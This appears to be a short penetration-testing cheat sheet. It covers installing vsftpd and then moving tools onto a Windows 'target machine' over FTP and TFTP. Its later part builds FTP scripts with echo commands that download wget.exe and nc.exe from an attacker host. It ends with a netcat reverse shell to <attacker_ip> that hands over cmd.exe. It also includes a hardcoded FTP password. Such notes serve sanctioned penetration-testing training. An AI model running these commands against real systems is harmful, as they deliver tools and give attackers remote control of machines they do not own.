FTP

vsftpd

Installing vsftpd

sudo apt-get install vsftpd

Update config to writable

sudo nano /etc/vsftpd.conf

locate write_enable=YES and remove the # in front of it and save the file changes.

Restart vsftpd

sudo systemctl restart vsftpd

Now you can FTP and do what you need to do.

purging vsftpd

sudo apt purge vsftpd

another way

Set up a ftp downloading script on the target machine

echo open IP 21 > ftp.txt
echo USER acknak>> ftp.txt
echo jLQRZy4gyLhmMqz2whTw>> ftp.txt
echo ftp >> ftp.txt
echo bin >> ftp.txt
echo GET wget.exe >> ftp.txt
echo bye >> ftp.txt

Download the prepared file

ftp -v -n -s:ftp.txt

Start tftp server on Kali

aftpd start

Transfer files from Kali to Windows (from windows terminal)

tftp -I IPADDRESS GET nameoffile.exe

You can have a shell using this

echo open <attacker_ip> 21> ftp.txt
echo USER offsec>> ftp.txt
echo ftp>> ftp.txt
echo bin >> ftp.txt
echo GET nc.exe >> ftp.txt
echo bye >> ftp.txt
ftp -v -n -s:ftp.txt
nc.exe <attacker_ip> 1234 -e cmd.exe